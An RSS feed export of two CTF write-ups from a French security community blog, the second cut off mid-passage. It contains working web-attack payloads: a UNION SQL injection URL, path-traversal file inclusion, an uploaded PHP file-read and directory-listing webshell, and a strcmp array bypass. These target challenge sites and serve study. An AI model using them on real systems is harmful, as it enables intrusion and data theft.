<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Communauté Zenk - Security</title>
	<atom:link href="http://blog.zenk-security.com/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zenk-security.com</link>
	<description>Par des tapz, pour des tapz</description>
	<lastBuildDate>Wed, 25 Apr 2012 20:49:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Security B-Sides London 2012 challenge #4 (Secret exposed) write up</title>
		<link>http://blog.zenk-security.com/index.php/2012/04/25/security-b-sides-london-2012/</link>
		<comments>http://blog.zenk-security.com/index.php/2012/04/25/security-b-sides-london-2012/#comments</comments>
		<pubDate>Wed, 25 Apr 2012 20:49:30 +0000</pubDate>
		<dc:creator>nico34</dc:creator>
				<category><![CDATA[Divers]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=294</guid>
		<description><![CDATA[La conférence sécurité Security B-Sides]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2012%2F04%2F25%2Fsecurity-b-sides-london-2012%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2012%2F04%2F25%2Fsecurity-b-sides-london-2012%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<div id="magicdomid2"><img class="aligncenter" title="security bsides" src="http://www.securitybsides.org.uk/images/BsidesAprilLogo.jpg" alt="" width="103" height="94" /></div>
<div></div>
<div>La conférence sécurité Security B-Sides London 2012 a proposé durant le mois de mars un challenge orienté web ayant pour but de gagner des places pour la conférence qui s&#8217;est déroulée le 25 avril à 2012 à Londres. Avec quelques membres de Zenk, nous nous sommes attaqués à ce challenge et nous en sommes venus à bout. Il nous a parru très intéressant donc nous avons décidé de faire un write up. Celui ci sera écrit en anglais pour permettre la lecture par les autres participants de ce challenge et les organisateurs</div>
<div>During march, we&#8217;ve heard of the Bsides London web challenge <a href="http://www.securitybsides.org.uk/challenge42012.html">http://www.securitybsides.org.uk/challenge42012.html</a>.</div>
<div id="magicdomid3">So we decided to give it a try, and as we moved forward to the solution, we really enjoyed it.</div>
<div id="magicdomid4"></div>
<div id="magicdomid5">To solve the challenge, we had to answer to these questions :</div>
<p>&nbsp;</p>
<div id="magicdomid6">
<ol>
<li>What is Matt’s password for the Intranet?</li>
<li>Who did Iggy meet on January 20th?</li>
<li>What is Javvad’s password?</li>
<li>What is the kernel version of the underlying server?</li>
<li>What is the SHA1 value in the file /bsides-challenge? (on the host itself, not on the website)</li>
</ol>
</div>
<p>&nbsp;</p>
<div id="magicdomid11"></div>
<div id="magicdomid12">First step of this challenge was to decode a base 64 encoded message which gave us an image with the code to enter the real challenge !</div>
<div id="magicdomid13"></div>
<div id="magicdomid14"></div>
<div id="magicdomid15"> <img class="aligncenter" title=" Security B-Sides London 2012" src="http://localhostr.com/file/cc2XWy7/image.png" alt="" width="425" height="400" /></div>
<div id="magicdomid16"></div>
<p><br/><br/></p>
<h1>Login</h1>
<div id="magicdomid19">Then we reached a login form. A quick look at the source and we found a test account to enter the application</div>
<div id="magicdomid20"><em>&lt;!&#8211; TODO: remove developer comments from source code.details for testing site: username matt, password pressups&#8211;&gt;</em></div>
<div id="magicdomid21">We had the answer to the first question!</div>
<p>&nbsp;</p>
<h1>SQL injection</h1>
<div id="magicdomid24"></div>
<div id="magicdomid25">After a quick visit of this website, we were able to find an sql injection in the news page</div>
<div id="magicdomid26"><a href="http://hive.securitybsides.org.uk/article.php?id=-1%20union%20select%201,2,3,4">http://hive.securitybsides.org.uk/article.php?id</a><a href="http://hive.securitybsides.org.uk/article.php?id=-1%20union%20select%201,2,3,4">=-1%20union%20select%201,2,3,4</a></div>
<div id="magicdomid27">From this injection we were able to get the whole database with encrypted passwords :</div>
<div id="magicdomid28"></div>
<ul>
<li>matt   sqNGWoX72CjoZrWwtLopB6p2X25uUz8b3AFC/94am+w=</li>
<li>iggy    ygRf/aB98OntNZWBGsuhjDud8bbf+o8km+0dZI1WRCU=</li>
<li>javvad /1tUaJ6n+0LeiEhQEoCjtYS4Mr7WUXAolXHLgumnPRx60XdKJv4awTgirGTMTx/Q==</li>
<li>paul   yu7PEPH1GHIhpwOuRvNJ2d3d6cysZJ/gIejP7htGjKc=</li>
<li>wicky AUOVLNyMgq20nZb9kGf7IXxHRHf67yp8hyugDgALUHw=</li>
<li>jimmy l1E2OAhIKjAwIkiPF4xy3RTD3YKzSuVTLZMRTxJ74CI=</li>
</ul>
<div id="magicdomid35"></div>
<div id="magicdomid36">We can see that this is not a standard sha1 or md5 hash and that we needed more informations to be able to decrypt theses passwords.</div>
<div id="magicdomid37"></div>
<p><br/><br/></p>
<h1>Git</h1>
<div id="magicdomid39">Having a look at the <em>robots.txt</em> file, we found this</div>
<div id="magicdomid40"></div>
<div id="magicdomid41">User-agent: *</div>
<div id="magicdomid42">Disallow: /.git</div>
<div id="magicdomid43"></div>
<div id="magicdomid44">There&#8217;s a git repository with a pending commit. After few manipulations including git clone and registering files into the cloned repository, we were able to use the command git cat-file and to get the content of that commit, the encryption function</div>
<div id="magicdomid45"></div>
<div id="magicdomid46"><a href="http://pastebin.com/jVA86BUg">http://pastebin.com/jVA86BUg</a></div>
<div id="magicdomid47"></div>
<div id="magicdomid48">We tried to brute force the key, but after a while we understood that this method wouldn&#8217;t succeed.</div>
<div id="magicdomid49"></div>
<p><br/><br/></p>
<h1 id="magicdomid50">Mail</h1>
<div id="magicdomid52"></div>
<div id="magicdomid53">The mail system is using ajax and gets informations from <a href="http://hive.securitybsides.org.uk/interfaces/mail.php?userid=222">http://hive.securitybsides.org.uk/interfaces/mail.php?userid</a><a href="http://hive.securitybsides.org.uk/interfaces/mail.php?userid=222">=222</a></div>
<div id="magicdomid54">By changing the userid, we were able to read all the messages.</div>
<div id="magicdomid55">So, we can answer the second question.</div>
<div id="magicdomid56">Among them, one caught our attention : &laquo;&nbsp;How do, I&#8217;m trying to view my intranet messages on the mobile version of the site and getting an error. Can you take a look?&nbsp;&raquo;</div>
<div id="magicdomid57">So we decided to change our user-agent to a mobile one and we got a php error.</div>
<div id="magicdomid58"></div>
<div id="magicdomid60"><em>Warning: fopen(config.yaml): failed to open stream: No such file or directory in /var/www/bsides/mobi/user/mail.php on line 2</em></div>
<p>&nbsp;</p>
<div id="magicdomid61">We loaded the url <a href="http://hive.securitybsides.org.uk/config.yaml">http://hive.securitybsides.org.uk/config.yaml</a> and we got a lot of useful informations</div>
<div id="magicdomid62"></div>
<div id="magicdomid63">database:</div>
<div id="magicdomid64">    username: bsides</div>
<div id="magicdomid65">    password: BS1d3$L0nd0N</div>
<div id="magicdomid66">    dbname: bsides</div>
<div id="magicdomid67">    hostname: localhost</div>
<div id="magicdomid68"></div>
<div id="magicdomid69">encryption:</div>
<div id="magicdomid70">    key: R3allyR3allyS3cr3t</div>
<div id="magicdomid71"></div>
<div id="magicdomid72">uploads:</div>
<div id="magicdomid73">    directory: uploads/images</div>
<div id="magicdomid74"></div>
<div id="magicdomid75">profile:</div>
<div id="magicdomid76">    avatar_directory: avatars</div>
<div id="magicdomid77"></div>
<div id="magicdomid78">challenge:</div>
<div id="magicdomid79">    email_address: londonevents@securitybsides.org.uk</div>
<div id="magicdomid80">    closing_date: April 1st 2012</div>
<p><br/></p>
<div id="magicdomid81"></div>
<div id="magicdomid82">So we had the encryption key, we were then able to decrypt the passwords</div>
<p><br/></p>
<div id="magicdomid83"></div>
<div id="magicdomid84">matt         pressups</div>
<div id="magicdomid85">iggy         geekchick</div>
<div id="magicdomid86">javvad       I_am_a_CISSP_MOFO_bow_down_before_me</div>
<div id="magicdomid87">wicky       wickywackyhacky</div>
<div id="magicdomid88">paul         80211</div>
<div id="magicdomid89">jimmy      ithoughtwhynot</div>
<div id="magicdomid90"></div>
<p><br/></p>
<div id="magicdomid91">Javvad&#8217;s password was the answer to the third question !</div>
<div id="magicdomid92"></div>
<div id="magicdomid93">Then we logged into wicky account which is the admin account</div>
<div id="magicdomid94"></div>
<p><br/><br/></p>
<h1>Upload</h1>
<div id="magicdomid96">Well, we had an access to the Image Uploader with wicky&#8217;s account.</div>
<div id="magicdomid97">Also, on updates page we can see an AJAX request :</div>
<div id="magicdomid98"><a href="http://hive.securitybsides.org.uk/interfaces/content.php?go=twitter.php">http://hive.securitybsides.org.uk/interfaces/content.php?go</a><a href="http://hive.securitybsides.org.uk/interfaces/content.php?go=twitter.php">=twitter.php</a></div>
<div id="magicdomid99"></div>
<div id="magicdomid100">Oh&#8230; Upload + LFI = &#8230; BOOM!</div>
<div id="magicdomid101">In the response of the last AJAX request we could see an html comment :</div>
<div id="magicdomid102"><em>&lt;!&#8211; included from includes/twitter.php &#8211;&gt;</em></div>
<div id="magicdomid103"><em>And when we upload an image : &laquo;&nbsp;File uploaded successfully to /uploads/images/7TjnEo391334652326.jpg&nbsp;&raquo;</em></div>
<div id="magicdomid104"></div>
<div id="magicdomid105">Ok, let&#8217;s try :</div>
<div id="magicdomid106"><a href="http://hive.securitybsides.org.uk/interfaces/content.php?go=../uploads/images/7TjnEo391334652326.jpg">http://hive.securitybsides.org.uk/interfaces/content.php?go</a><a href="http://hive.securitybsides.org.uk/interfaces/content.php?go=../uploads/images/7TjnEo391334652326.jpg">=../uploads/images/7TjnEo391334652326.jpg</a></div>
<p><br/><br/></p>
<div id="magicdomid107"></div>
<div id="magicdomid108">Perfect! LFI was successfully exploited! Using phpinfo() we can see the answer to the fourth question :</div>
<div id="magicdomid109"><em>&laquo;&nbsp;Linux hive 2.6.32.15-1-grsec #2 SMP Mon Jun 28 09:05:30 CEST 2010 x86_64&#8243;</em></div>
<div id="magicdomid110"></div>
<div id="magicdomid111">
<p>We could also see the disabled functions : system, passthru, exec and others&#8230; So, we used the file_get_contents and scandir() php function :</p>
<div id="magicdomid112">

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'r'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'r'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'d'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'d'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>div<span style="color: #339933;">&gt;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

</div>
<div></div>
<p>Last answer : /bsides-challenge = cdf36355aee72410d8875d5453e9814763640e7a</p>
<p>&nbsp;</p>
<p>Easter Egg</p>
<div id="magicdomid127">If you read the article.php source code you can see :</div>
<div id="magicdomid128">

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">if ($cookie_numbers == &quot;425369646573&quot;) {
?&gt;
    &lt;h1&gt;Easter Egg :: @dive_monkey keeping fit&lt;/h1&gt;
    &lt;p&gt;We may have been in Switzerland for a con but that didn&amp;amp;rsquo;t stop Matt keeping in shape while we were back at the hotel.&lt;/p&gt;
    &lt;video width=&quot;640&quot; height=&quot;360&quot; autoplay controls tabindex=&quot;0&quot;&gt;
      &lt;source src=&quot;/assets/video/matt_summers_pressups.mp4&quot; type='video/mp4; codecs=&quot;avc1.42E01E, mp4a.40.2&quot;' /&gt;
      &lt;source src=&quot;/assets/video/matt_summers_pressups.webm&quot; type='video/webm; codecs=&quot;vp8, vorbis&quot;' /&gt;
      What the? Your browser does not support the HTML5 video tag.
    &lt;/video&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

</div>
<div id="magicdomid139"></div>
<p>Fin</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2012/04/25/security-b-sides-london-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Write-Up IFSF CTF</title>
		<link>http://blog.zenk-security.com/index.php/2012/02/20/write-up-ifsf-ctf-challenges/</link>
		<comments>http://blog.zenk-security.com/index.php/2012/02/20/write-up-ifsf-ctf-challenges/#comments</comments>
		<pubDate>Sun, 19 Feb 2012 22:52:03 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[Write-up]]></category>
		<category><![CDATA[A.nonyme]]></category>
		<category><![CDATA[awe]]></category>
		<category><![CDATA[BuRner]]></category>
		<category><![CDATA[challenges]]></category>
		<category><![CDATA[communauté]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[Debaser]]></category>
		<category><![CDATA[défis]]></category>
		<category><![CDATA[Di0Sasm]]></category>
		<category><![CDATA[Enila]]></category>
		<category><![CDATA[épreuves]]></category>
		<category><![CDATA[Flyingwolf]]></category>
		<category><![CDATA[Ganapati]]></category>
		<category><![CDATA[IFSF]]></category>
		<category><![CDATA[Inazo]]></category>
		<category><![CDATA[informatique]]></category>
		<category><![CDATA[k3nz0]]></category>
		<category><![CDATA[Karion]]></category>
		<category><![CDATA[MauriceLeTendu]]></category>
		<category><![CDATA[N0way]]></category>
		<category><![CDATA[N0_N4M3]]></category>
		<category><![CDATA[Nickname]]></category>
		<category><![CDATA[nico34]]></category>
		<category><![CDATA[nowz]]></category>
		<category><![CDATA[partage]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[Spl3en]]></category>
		<category><![CDATA[TheLizardKing]]></category>
		<category><![CDATA[ufox]]></category>
		<category><![CDATA[write-up]]></category>
		<category><![CDATA[zenk-security]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=212</guid>
		<description><![CDATA[___ _____ ____ _____ ____]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2012%2F02%2F20%2Fwrite-up-ifsf-ctf-challenges%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2012%2F02%2F20%2Fwrite-up-ifsf-ctf-challenges%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<pre style="font-size: 12px; color: #00cc00; font-weight: bold;">  ___   _____   ____    _____      ____ _____ _____      ___              _
 |_ _| |  ___| / ___|  |  ___|    / ___|_   _|  ___|    / _ \ _   _  __ _| |___
  | |  | |_    \___ \  | |_      | |     | | | |_      | | | | | | |/ _` | / __|
  | |  |  _|    ___) | |  _|     | |___  | | |  _|     | |_| | |_| | (_| | \__ \
 |___| |_|     |____/  |_|        \____| |_| |_|        \__\_\\__,_|\__,_|_|___/</pre>
<p>C’est grâce à Twitter que nous avons appris l’existence de <a href="http://ctf.forbiddenbits.net/">l’IFSF CTF</a> et nous avons immédiatement bondi sur l’occasion de faire un CTF. C’est que voyez vous au sein de la communauté on adore faire ça, des CTF et dés qu’on en voit un que nous ne connaissons pas, nous relevons immédiatement le challenge, avides de nouveaux défis et curieux de nouvelles épreuves que nous sommes.</p>
<p>Visiblement ce genre d’état d’esprit porte ses fruits car nous avons eu l’agréable surprise de finir dans le <a href="http://ctf.forbiddenbits.net/?scoreboard">top 10</a> de cette compétition. Nous en tirons bien sur beaucoup de fierté, mais nous en ressortons aussi et surtout déterminés à participer d’avantage aux autres CTF pour continuer à progresser, pour continuer à apprendre des autres et pour continuer à nous amuser tous ensembles.</p>
<p>Peu après l’évènement nous avons pu échanger avec les organisateurs de ce CTF et ils nous ont proposé de nous joindre à eux pour le <a href="http://phdays.com/">PHDays</a>.</p>
<p>La communauté dans son ensemble remercie vivement les membres qui ont participé à ce CTF et qui se sont fait porteur, l’espace d’un week-end, des valeurs et de la compétence de toute une communauté.</p>
<p>Merci à Spl3en, Karion, Di0Sasm, N0_N4M3, Flyingwolf, N0way, nico34, BuRner, TheLizardKing, k3nz0, Enila, Nickname, A.nonyme, Inazo, awe, MauriceLeTendu, Ganapati, nowz, ufox et Debaser.</p>
<p>Cependant la compétition ne s’est pas arrêtée là pour eux puisqu’ils ont aussi réaliser un write-up des épreuves qu’ils ont résolues, nous vous le présentons ici, bonne lecture.</p>
<p>Encore une fois merci à eux et merci aux organisateurs de l’IFSF CTF ( cc AlpHaNiX &#038; all) qui nous ont concocté un CTF comme ont les aime.</p>
<p>&nbsp;</p>
<p><span id="more-212"></span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #1 &#8211; TONA</h1>
<p>Sur cette épreuve web nous remarquons que les pages passent par <strong>$_GET[]</strong> sous la forme :<br />
<code>index.php?organization // index.php?news</code></p>
<p>On provoque une collision en faisant :<br />
<code>index.php?organization&#038;news</code></p>
<p>Le script essais en fait de générer une fonction deux fois, ce qui ne donne l&#8217;erreur (et le flag) suivant :<br />
<code>Fatal error: Cannot redeclare showPage_FLAG1_48NG9X9448HF4() (previously declared in /var/www/html/SECURITY_include_files_OBSCURITY/news.php:3) in </code><strong>/var/www/html/SECURITY_include_files_OBSCURITY/members.php</strong><code> on line 5</code></p>
<p>On regarde alors le contenu du répertoire <strong>/SECURITY_include_files_OBSCURITY/</strong> et on y trouve le fichier <strong>members.php</strong> compressé avec GZIP. On le télécharge, le decompresse et nous tombons sur un code php complètement obfusqué. Après une petite analyse à l&#8217;aide de <strong>var_dump()</strong> on decouvre en fait que le script appelle une fonction donc le code est le suivant :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$se</span><span style="color: #339933;">=</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;@@&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// contient la valeur de la constante __FILE__</span>
<span style="color: #000088;">$s</span><span style="color: #339933;">=</span><span style="color: #990000;">filesize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$se</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$se</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fseek</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">2794</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ss</span><span style="color: #339933;">=</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">2794</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$Nv</span><span style="color: #339933;">=</span><span style="color: #990000;">hash</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;sha512&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ss</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$Nv</span><span style="color: #339933;">=</span><span style="color: #000088;">$Nv</span><span style="color: #339933;">.</span><span style="color: #000088;">$Nv</span><span style="color: #339933;">.</span><span style="color: #000088;">$Nv</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$V</span><span style="color: #339933;">=</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;xij&quot;</span><span style="color: #009900;">&#93;</span>^<span style="color: #000088;">$Nv</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/[^<span style="color: #660099; font-weight: bold;">\x20</span>-<span style="color: #660099; font-weight: bold;">\x7f</span>]/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$V</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$B</span><span style="color: #339933;">=</span><span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$V</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">@</span><span style="color: #000088;">$B</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Ce morceau de code execute une nouvelle fonction :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"> <span style="color: #000000; font-weight: bold;">function</span> auth<span style="color: #009900;">&#40;</span><span style="color: #000088;">$X</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;loggedIn&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;loggedIn&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;pass&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">===</span><span style="color: #000088;">$X</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">9</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$X</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$X</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">11</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">ob_flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;loggedIn&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$j</span><span style="color: #339933;">=@</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;4kXI0N&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #990000;">file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;params.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><span style="color: #990000;">strcmp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$j</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;login&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;login&quot;</span><span style="color: #339933;">===</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;4kXI0N&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$f</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
auth<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$f</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>et</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
php <span style="color: #339933;">&gt;</span> <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
bool<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
php <span style="color: #339933;">&gt;</span> <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">strcmp</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;login&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900; font-weight: bold;">NULL</span>
php <span style="color: #339933;">&gt;</span> <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><span style="color: #990000;">strcmp</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;login&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
bool<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>On test donc cette url :<br />
